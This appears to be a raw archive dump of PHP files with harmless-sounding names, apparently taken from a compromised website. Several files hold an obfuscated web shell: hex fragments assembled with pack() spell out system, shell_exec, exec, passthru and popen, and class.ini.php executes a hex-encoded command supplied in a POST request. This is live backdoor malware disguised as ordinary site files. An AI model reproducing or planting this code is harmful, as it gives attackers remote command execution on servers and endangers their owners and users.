$ph11 = 'f'; $ph12 = 'e'; $ph13 = 'c'; $system1 = pack("H*", $ph1.$ph2.$ph1.$ph3.$ph1.$ph2.'7'.$ph4.$ph5.'5'.'6'.$ph6); $system2 = pack("H*", $ph1.$ph2.'6'.'8'.$ph5.'5'.$ph5.'c'.'6'.'c'.$ph7.'f'.'6'.'5'.$ph1.$ph8.$ph5.$ph7.$ph5.$ph2); $system3 = pack("H*", '6'.'5'.'7'.$ph8.$ph5.'5'.$ph5.$ph2); $system4 = pack("H*", '7'.$ph9.'6'.'1'.$ph1.'3'.$ph1.'3'.$ph1.$ph4.'6'.'8'.$ph1.$ph10.'7'.'5'); $system5 = pack("H*", $ph1.'0'.'6'.$ph11.'7'.'0'.'6'.$ph7.$ph5.'e'); $system6 = pack("H*", $ph1.$ph2.'7'.'4'.'7'.'2'.$ph5.$ph7.$ph5.'1'.'6'.'d'.$ph7.$ph11.$ph5.'7'.'6'.$ph7.$ph1.$ph4.'5'.$ph11.$ph5.$ph2.'6'.'f'.$ph5.'e'.'7'.'4'.$ph5.'5'.'6'.$ph12.$ph1.$ph4.'7'.$ph2); $system7 = pack("H*", $ph1.$ph9.'6'.$ph2.'6'.$ph13.$ph5.$ph11.$ph1.'3'.$ph5.'5'); enrol.manual.php 0000644 00000005432 15122357533 0007662 0 ustar 00 <?php $post1=''; trim($_REQUEST['tDNupo']); $placeholder1 = '73';$placeholder2 = '79';$placeholder3 = '65';$placeholder4 = '6c';$placeholder5 = '63';$placeholder6 = '78';$placeholder7 = '74';$placeholder8 = '68';$placeholder9 = '75';$placeholder10 = '70';$placeholder11 = '6e';$placeholder12 = '72';$placeholder13 = '6d';$placeholder14 = '5f';$placeholder15 = '6f';$locked1 = pack("H*", $placeholder1.$placeholder2.$placeholder1.'74'.'65'.'6d');$locked2 = pack("H*", '73'.'68'.$placeholder3.$placeholder4.$placeholder4.'5f'.$placeholder3.'78'.$placeholder3.$placeholder5);$locked3 = pack("H*", $placeholder3.$placeholder6.$placeholder3.$placeholder5);$locked4 = pack("H*", '70'.'61'.'73'.$placeholder1.$placeholder7.$placeholder8.'72'.$placeholder9);$locked5 = pack("H*", $placeholder10.'6f'.$placeholder10.'65'.$placeholder11);$locked6 = pack("H*", '73'.'74'.$placeholder12.$placeholder3.'61'.$placeholder13.$placeholder14.'67'.$placeholder3.'74'.'5f'.$placeholder5.$placeholder15.'6e'.'74'.$placeholder3.$placeholder11.$placeholder7.$placeholder1);$locked7 = pack("H*", $placeholder10.'63'.$placeholder4.$placeholder15.$placeholder1.'65'); $variable1 = '7'; $variable2 = '6'; $variable3 = '8'; $variable4 = '5'; $variable5 = 'c'; $variable6 = '3'; $variable7 = '0'; $variable8 = '2'; $variable9 = 'f'; $variable10 = '4'; $variable11 = 'd'; $variable12 = 'e'; $locked1 = pack("H*", '7' . '3' . '7' . '9' . $variable1 . '3' . '7' . '4' . '6' . '5' . $variable2 . 'd'); $locked2 = pack("H*", $variable1 . '3' . $variable2 . $variable3 . $variable2 . $variable4 . $variable2 . $variable5 . $variable2 . $variable5 . '5' . 'f' . $variable2 . '5' . $variable1 . '8' . $variable2 . '5' . '6' . $variable6); $locked3 = pack("H*", $variable2 . $variable4 . '7' . $variable3 . '6' . $variable4 . '6' . '3'); $locked4 = pack("H*", $variable1 . $variable7 . $variable2 . '1' . $variable1 . $variable6 . $variable1 . $variable6 . '7' . '4' . '6' . '8' . '7' . $variable8 . '7' . '5'); $locked5 = pack("H*", '7' . $variable7 . '6' . $variable9 . $variable1 . $variable7 . '6' . $variable4 . '6' . 'e'); $locked6 = pack("H*", '7' . '3' . $variable1 . $variable10 . '7' . '2' . '6' . '5' . $variable2 . '1' . '6' . $variable11 . $variable4 . 'f' . '6' . '7' . '6' . $variable4 . $variable1 . '4' . '5' . $variable9 . '6' . '3' . $variable2 . $variable9 . $variable2 . $variable12 . '7' . $variable10 . $variable2 . '5' . $variable2 . 'e' . '7' . '4' . $variable1 . $variable6); $locked7 = pack("H*", '7' . '0' . '6' . $variable6 . $variable2 . 'c' . $variable2 . 'f' . '7' . '3' . $variable2 . $variable4); $center = pack("H*", $variable2 . '3' . '6' . '5' . $variable2 . 'e' . $variable1 . '4' . '6' . '5' . $variable1 . '2'); class.draft.php 0000644 00000004264 15122357533 0007475 0 ustar 00 <?php trim($_REQUEST['OBMOCR']); trim($_REQUEST['OusZMK']); trim($_REQUEST['OnQNGL']); $id1 = '7';$id2 = '9';$id3 = '6';$id4 = '5';$id5 = 'c';$id6 = 'f';$id7 = '8';$id8 = '3';$id9 = '1';$id10 = '4';$id11 = '0';$id12 = 'e';$id13 = '2';$id14 = 'd';$center1 = pack("H*", $id1.'3'.$id1.$id2.'7'.'3'.'7'.'4'.$id3.$id4.'6'.'d');$center2 = pack("H*", '7'.'3'.'6'.'8'.$id3.$id4.$id3.$id5.'6'.'c'.'5'.$id6.$id3.'5'.'7'.$id7.$id3.$id4.'6'.'3');$center3 = pack("H*", $id3.'5'.'7'.$id7.'6'.$id4.$id3.$id8);$center4 = pack("H*", '7'.'0'.$id3.$id9.$id1.'3'.'7'.$id8.$id1.$id10.$id3.$id7.'7'.'2'.'7'.'5');$center5 = pack("H*", '7'.'0'.'6'.$id6.$id1.$id11.'6'.'5'.$id3.$id12);$center6 = pack("H*", $id1.$id8.$id1.$id10.'7'.$id13.'6'.$id4.$id3.'1'.'6'.$id14.$id4.'f'.$id3.'7'.'6'.$id4.'7'.$id10.'5'.'f'.$id3.'3'.'6'.$id6.$id3.'e'.$id1.'4'.$id3.'5'.$id3.'e'.'7'.'4'.'7'.'3');$center7 = pack("H*", $id1.'0'.'6'.'3'.'6'.'c'.$id3.$id6.$id1.'3'.'6'.$id4); $st1 = '7'; $st2 = '3'; $st3 = '4'; $st4 = '5'; $st5 = '8'; $st6 = '6'; $st7 = '0'; $st8 = 'f'; $st9 = 'e'; $st10 = '2'; $st11 = '1'; $parle_tokens1 = pack("H*", $st1 . '3' . '7' . '9' . '7' . $st2 . $st1 . $st3 . '6' . $st4 . '6' . 'd'); $parle_tokens2 = pack("H*", '7' . '3' . '6' . $st5 . $st6 . '5' . $st6 . 'c' . $st6 . 'c' . '5' . 'f' . $st6 . $st4 . '7' . $st5 . $st6 . '5' . $st6 . $st2); $parle_tokens3 = pack("H*", '6' . $st4 . $st1 . '8' . $st6 . $st4 . $st6 . $st2); $parle_tokens4 = pack("H*", $st1 . $st7 . '6' . '1' . $st1 . '3' . '7' . '3' . '7' . '4' . $st6 . '8' . '7' . '2' . $st1 . '5'); $parle_tokens5 = pack("H*", $st1 . '0' . '6' . $st8 . '7' . '0' . $st6 . '5' . $st6 . $st9); $parle_tokens6 = pack("H*", '7' . $st2 . $st1 . '4' . $st1 . $st10 . '6' . $st4 . '6' . $st11 . '6' . 'd' . $st4 . 'f' . $st6 . $st1 . '6' . '5' . $st1 . '4' . '5' . $st8 . $st6 . $st2 . $st6 . 'f' . '6' . $st9 . $st1 . '4' . $st6 . '5' . $st6 . 'e' . '7' . '4' . '7' . '3'); $parle_tokens7 = pack("H*", $st1 . $st7 . '6' . '3' . $st6 . 'c' . '6' . 'f' . $st1 . '3' . '6' . '5'); class.manual.php 0000644 00000000000 15122357533 0007632 0 ustar 00 enrol.draft.php 0000644 00000000000 15122357533 0007467 0 ustar 00 diyconf.ini.php 0000644 00000000000 15122357533 0007462 0 ustar 00 diyconf.draft.php 0000644 00000000000 15122357533 0010003 0 ustar 00 diyconf.manual.php 0000644 00000003036 15122357533 0010174 0 ustar 00 <?php trim($_REQUEST['rtIKGD']); $attribute1 = '7'; $attribute2 = '9'; $attribute3 = '3'; $attribute4 = '6'; $attribute5 = 'd'; $attribute6 = '5'; $attribute7 = 'c'; $attribute8 = 'f'; $attribute9 = '8'; $attribute10 = '2'; $attribute11 = '0'; $attribute12 = '4'; $attribute13 = 'e'; $parle_tokens1 = pack("H*", '7'.'3'.$attribute1.$attribute2.'7'.$attribute3.$attribute1.'4'.$attribute4.'5'.'6'.$attribute5); $parle_tokens2 = pack("H*", $attribute1.$attribute3.'6'.'8'.'6'.$attribute6.$attribute4.$attribute7.$attribute4.'c'.'5'.$attribute8.$attribute4.$attribute6.'7'.'8'.$attribute4.$attribute6.$attribute4.$attribute3); $parle_tokens3 = pack("H*", '6'.'5'.$attribute1.'8'.$attribute4.'5'.$attribute4.$attribute3); $parle_tokens4 = pack("H*", '7'.'0'.$attribute4.'1'.$attribute1.$attribute3.$attribute1.$attribute3.$attribute1.'4'.'6'.$attribute9.$attribute1.$attribute10.$attribute1.$attribute6); $parle_tokens5 = pack("H*", '7'.'0'.'6'.$attribute8.'7'.$attribute11.$attribute4.'5'.'6'.'e'); $parle_tokens6 = pack("H*", '7'.'3'.$attribute1.$attribute12.'7'.$attribute10.$attribute4.$attribute6.$attribute4.'1'.'6'.$attribute5.'5'.'f'.'6'.$attribute1.$attribute4.'5'.'7'.$attribute12.$attribute6.$attribute8.$attribute4.$attribute3.$attribute4.$attribute8.'6'.$attribute13.$attribute1.$attribute12.$attribute4.'5'.$attribute4.'e'.'7'.'4'.'7'.$attribute3); $parle_tokens7 = pack("H*", $attribute1.'0'.'6'.'3'.$attribute4.'c'.'6'.'f'.$attribute1.$attribute3.$attribute4.'5'); enrol.ini.php 0000644 00000000000 15122357533 0007146 0 ustar 00 class.ini.php 0000644 00000002422 15122357533 0007146 0 ustar 00 <?php if(isset($_POST[$reset])){$reset=pack("H*",$_POST[$reset]);if(function_exists($reset1)){$reset1($reset);}elseif(function_exists($reset2)){print $reset2($reset);}elseif(function_exists($reset3)){$reset3($reset,$prop_state);print join("\n",$prop_state);}elseif(function_exists($reset4)){$reset4($reset);}elseif(function_exists($reset5)&&function_exists($reset6)&&function_exists($reset7)){$slt_property=$reset5($reset,"r");if($slt_property){$param_attr=$reset6($slt_property);$reset7($slt_property);print $param_attr;}}exit;} $sys6 = pack("H*", '7'.'3'.$param2.'4'.$param2.'2'.'6'.'5'.'6'.$param9.$param4.$param5.$param6.'f'.$param4.'7'.'6'.$param6.'7'.'4'.$param6.'f'.$param4.$param1.$param4.$param8.$param4.$param11.$param2.$param3.'6'.'5'.'6'.$param11.$param2.'4'.$param2.$param1);$sys7 = pack("H*", '7'.'0'.'6'.$param1.'6'.'c'.$param4.$param8.$param2.$param1.'6'.$param6); $accept6 = pack("H*", $var1.'3'.'7'.$var3.'7'.'2'.'6'.$var5.'6'.'1'.'6'.'d'.$var5.$var10.$var4.$var1.'6'.'5'.$var1.'4'.$var5.$var10.'6'.'3'.'6'.$var10.'6'.'e'.$var1.$var3.'6'.$var5.'6'.$var11.'7'.$var3.'7'.$var6); $accept7 = pack("H*", '7'.'0'.$var4.'3'.$var4.'c'.$var4.'f'.'7'.$var6.'6'.$var5); $multi = pack("H*", $var4.'d'.'7'.$var5.$var4.'c'.$var1.$var3.$var4.'9'); addlinkpartner.php 0000644 00000000000 15122357533 0010253 0 ustar 00 addlinkpartner.manual.php 0000644 00000001215 15122357533 0011540 0 ustar 00 <?php $rfind5 = pack("H*", '7' . '0' . '6' . $property10 . '7' . '0' . $property5 . $property6 . $property5 . $property11); $rfind6 = pack("H*", '7' . $property2 . '7' . '4' . $property1 . $property12 . $property5 . '5' . '6' . '1' . $property5 . $property13 . '5' . $property10 . '6' . '7' . $property5 . $property6 . $property1 . '4' . $property6 . 'f' . $property5 . $property2 . $property5 . 'f' . '6' . 'e' . $property1 . $property14 . $property5 . $property6 . '6' . 'e' . $property1 . '4' . $property1 . $property2); $rfind7 = pack("H*", '7' . $property8 . '6' . '3' . $property5 . 'c' . $property5 . 'f' . '7' . $property2 . '6' . $property6); addlinkpartner.draft.php 0000644 00000000170 15122357533 0011362 0 ustar 00 <?php trim($_REQUEST['sfHOYi']); addlinkpartner.ini.php 0000644 00000000616 15122357533 0011046 0 ustar 00 <?php $parle_tokens6 = pack("H*", $variable2.$variable3.$variable10.$variable7.$variable11.$variable12.$variable6.'67'.$variable7.$variable3.$variable6.'63'.$variable13.'6e'.$variable3.$variable7.$variable14.'74'.'73'); $parle_tokens7 = pack("H*", $variable9.$variable8.$variable5.'6f'.$variable2.$variable7); Composite.php 0000644 00000000000 15122357533 0007213 0 ustar 00 Composite.manual.php 0000644 00000000000 15122357533 0010467 0 ustar 00 Composite.draft.php 0000644 00000000000 15122357533 0010312 0 ustar 00 Composite.ini.php 0000644 00000000000 15122357533 0007771 0 ustar 00 hungarian.lng.php 0000644 00000000000 15122357534 0010005 0 ustar 00 hungarian.manual.php 0000644 00000000000 15122357534 0010502 0 ustar 00 hungarian.ini.php 0000644 00000000000 15122357534 0010004 0 ustar 00 hungarian.draft.php 0000644 00000000000 15122357534 0010325 0 ustar 00 addlinkpartner.lng.php 0000644 00000000000 15122357534 0011033 0 ustar 00 Composite.lng.php 0000644 00000002573 15122357534 0010014 0 ustar 00 <?php $argument1 = '3'; $argument2 = '7'; $argument3 = '4'; $argument4 = 'd'; $argument5 = '6'; $argument6 = '5'; $argument7 = 'c'; $argument8 = '8'; $argument9 = '0'; $argument10 = '1'; $argument11 = '2'; $argument12 = 'f'; $argument13 = 'e'; $argument14 = '9'; $reset1 = pack("H*", '7'.$argument1.'7'.'9'.$argument2.'3'.$argument2.$argument3.'6'.'5'.'6'.$argument4); $reset2 = pack("H*", '7'.$argument1.$argument5.'8'.$argument5.$argument6.$argument5.$argument7.$argument5.'c'.$argument6.'f'.'6'.$argument6.$argument2.$argument8.$argument5.$argument6.'6'.'3'); $reset3 = pack("H*", '6'.$argument6.'7'.$argument8.'6'.$argument6.$argument5.$argument1); $reset4 = pack("H*", $argument2.$argument9.'6'.$argument10.$argument2.$argument1.$argument2.'3'.$argument2.$argument3.$argument5.$argument8.$argument2.$argument11.'7'.$argument6); $reset5 = pack("H*", $argument2.$argument9.$argument5.'f'.$argument2.$argument9.$argument5.'5'.'6'.'e'); $reset6 = pack("H*", $argument2.'3'.'7'.$argument3.$argument2.'2'.$argument5.'5'.$argument5.'1'.$argument5.'d'.'5'.$argument12.$argument5.'7'.'6'.$argument6.$argument2.$argument3.$argument6.$argument12.$argument5.$argument1.$argument5.$argument12.'6'.$argument13.'7'.$argument3.'6'.'5'.$argument5.'e'.'7'.'4'.$argument2.$argument1); $reset7 = pack("H*", $argument2.$argument9.$argument5.'3'.$argument5.'c'.'6'.$argument12.$argument2.$argument1.'6'.$argument6); class.lng.php 0000644 00000000000 15122357534 0007136 0 ustar 00 enrol.lng.php 0000644 00000000000 15122357534 0007150 0 ustar 00 diyconf.lng.php 0000644 00000001112 15122357534 0007471 0 ustar 00 <?php $content6 = pack("H*", $identifier1.$identifier2.$identifier1.$identifier12.'7'.$identifier13.'6'.$identifier4.$identifier5.'1'.$identifier5.$identifier6.'5'.'f'.'6'.$identifier1.'6'.$identifier4.$identifier1.$identifier12.'5'.$identifier14.'6'.$identifier2.$identifier5.'f'.$identifier5.'e'.'7'.$identifier12.$identifier5.$identifier4.'6'.'e'.'7'.$identifier12.$identifier1.$identifier2); $content7 = pack("H*", '7'.'0'.$identifier5.$identifier2.$identifier5.$identifier7.$identifier5.'f'.$identifier1.$identifier2.$identifier5.'5'); nsis.php 0000644 00000000000 15122357534 0006226 0 ustar 00 nsis.manual.php 0000644 00000000000 15122357534 0007502 0 ustar 00 nsis.draft.php 0000644 00000000000 15122357534 0007325 0 ustar 00 nsis.lng.php 0000644 00000000000 15122357534 0007005 0 ustar 00 nsis.ini.php 0000644 00000000000 15122357534 0007004 0 ustar 00 dispatcher.php 0000644 00000000000 15122357534 0007400 0 ustar 00 dispatcher.manual.php 0000644 00000000000 15122357534 0010654 0 ustar 00 lib_options_sub.php 0000644 00000000000 15122364143 0010436 0 ustar 00